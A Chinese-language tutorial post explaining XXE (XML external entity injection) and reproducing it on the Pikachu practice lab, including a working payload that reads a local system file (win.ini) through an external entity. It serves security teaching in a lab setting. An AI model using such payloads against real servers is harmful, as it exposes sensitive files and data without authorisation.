XXE基本原理

本文涉及的产品
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: XXE基本原理

一、XXE漏洞与xml:

1、XXE漏洞的概念与基本原理:

XXE漏洞,全称:"XML External Entity Injection"。

这种漏洞发生在应用程序解析XML输入数据时,如果没有禁止或限制对外部实体的引用和加载,那么攻击者可以上传含有恶意构造的外部实体的XML文件。这些恶意的外部实体可以被设计为访问服务器上的敏感文件、执行系统命令、扫描内网端口等,从而泄露信息或造成服务拒绝。

简而言之,XXE漏洞类似于其他注入类攻击(如SQL注入、XSS),都是利用了外部输入数据未被充分验证和过滤的安全缺陷。要防御XXE漏洞,可以在解析XML文档时禁止使用外部实体,确保所有XML输入都经过适当的验证和清理程序。

2、XML介绍:

XML是一种非常流行的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

关于XML的具体语法参考下面一片文章,附上链接:

浅析无回显XXE(Blind XXE)


二、靶场漏洞复现(Pikachu):

1、有回显XXE漏洞复现:

有回显XXE漏洞后端代码示例,如下图:

正是 echo $creds; 将响应结果打印出来,构成了回显,显示在我们的前端页面上。

进入靶场,页面如下:

根据题目得知,输入框为接收xml数据的api,我们首先要判断是否有回显。

首先在输入框中提交以下XML代码:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe "XXE漏洞有回显">
]>
<root>&xxe;</root>

将代码提交后,页面如下:

我们可以看到页面出现了回显,那么我们就可以修改实体xxe的内容,将回显目标改为一些敏感目录,比如win.ini。

修改payload如下:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>

代码提交后,页面如下图所示:

可以看到敏感目录中的内容成功在页面上回显,漏洞复现成功。

相关文章
|
3月前
|
SQL 监控 安全
SQL注入公鸡分类及原理
SQL注入公鸡分类及原理
|
3月前
|
SQL 前端开发 安全
sql注入原理与实战(一)
sql注入原理与实战(一)
|
SQL 安全 测试技术
[网络安全]SQL注入原理及常见攻击方法简析
一般而言,登录验证逻辑语句为: select * from 表名 where name(用户名)='$输入' and pass(密码)='$输入' 当数据表中同时存在输入的name和pass字段时,页面将回显登录成功。
820 0
|
SQL 存储 安全
SQL注入基础相关概念
SQL注入基础相关概念
116 0
SQL注入基础相关概念
|
SQL 安全 数据库
3.sql注入原理
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
3.sql注入原理
|
数据采集 JSON 前端开发
爬虫基本原理
爬虫的基本原理
|
SQL 存储 XML
注入攻击基础知识
【web安全学习】注入攻击基础知识
228 0
|
JavaScript 安全 前端开发
XSS攻击原理以及案例说明
XSS攻击原理以及案例说明
|
XML 安全 数据格式
XXE漏洞原理/防御
原理 XXE又叫 XML外部实体注入 , 攻击者修改DTD引入的外部文件 , 从而执行攻击 , 比如读取任意文件 , 命令执行 , 内网探测 或者 DOS拒绝服务 防御
224 0
|
安全 Java
反序列化漏洞原理/防御
列化就是将对象转换成字节流,可以更方便的将数据保存到本地文件 反序列化就是将字节流还原成对象
947 0

热门文章

最新文章

下一篇
开通oss服务